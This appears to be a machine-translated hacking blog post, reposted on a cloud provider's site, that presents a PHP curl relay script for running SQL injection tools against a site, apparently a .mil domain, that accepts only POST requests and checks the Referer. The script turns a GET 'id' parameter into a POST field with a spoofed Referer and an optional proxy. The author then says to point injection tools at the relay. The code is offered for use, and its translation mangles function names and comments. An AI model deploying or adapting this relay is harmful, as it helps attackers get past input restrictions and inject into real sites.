Post+referer Inject relay Script

Source: Internet
Author: User
Tags curl
Recently encountered a station, can only post data, can not use get, and added a referer limit, so the general injection workers can not use, of course, cookies can not. Do not say to hand-injected, it is not tired to blame, suddenly remembered PHP has curl can post data, so the Internet to find code, modify, as follows:
<?php
Set_time_limit (0);
$id =$_get["id"];
$id =str_replace ("", "%20", $id);
$id =str_replace ("=", "%3d", $id);
function Curlrequest ($url, $postfield, $proxy = "") {
$proxy =trim ($proxy);
$user _agent = "mozilla/4.0" (compatible; MSIE 6.0; Windows NT 5.1; SV1) ";
$ch = Curl_init (); Initialize Curl handle
if (!empty ($proxy)) {
curl_setopt ($ch, Curlopt_proxy, $proxy);/Set proxy server
}
curl_setopt ($ch, Curlopt_url, $url); Set the URL of the request
curl_setopt ($ch, curlopt_returntransfer,1);//set to True converts curl_exec () results to strings instead of direct output
curl_setopt ($ch, Curlopt_post, 1);/enable POST submit
curl_setopt ($ch, Curlopt_postfields, $postfield); Set the string for post submission
curl_setopt ($ch, Curlopt_timeout, 25); Timeout time
curl_setopt ($ch, curlopt_useragent, $user _agent);//http Request User-agent: Head
curl_setopt ($ch, Curlopt_httpheader,array (
' ACCEPT-LANGUAGE:ZH-CN ',
' Connection:keep-alive ',
' Cache-control:no-cache ',
' Referer: [Url]http://www.n3tl04d.mil/event.jsp[/url] '//define Referer, grab the bag and you can see it.
)//Set HTTP header information
$document = curl_exec ($ch); Execute a predefined Curl
$info =curl_getinfo ($ch); Attributes that get the return information
if ($info [http_code]== "405") {
echo "Bad proxy {$proxy}\n"; Agent Error
Exit
}
return $document;
}
$url = "http://www.n3tl04d.mil/event_view.jsp";
$postfield = "no=". $id;//Parameters
$proxy = ';
$str =curlrequest ($url, $postfield, $proxy);
Echo $str;
?> save for Cc.php put it in a support curl PHP space,
Then inject [Url]http://www.meme.love/n3tl04d.php?id=520[/url] with tools
Ok.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.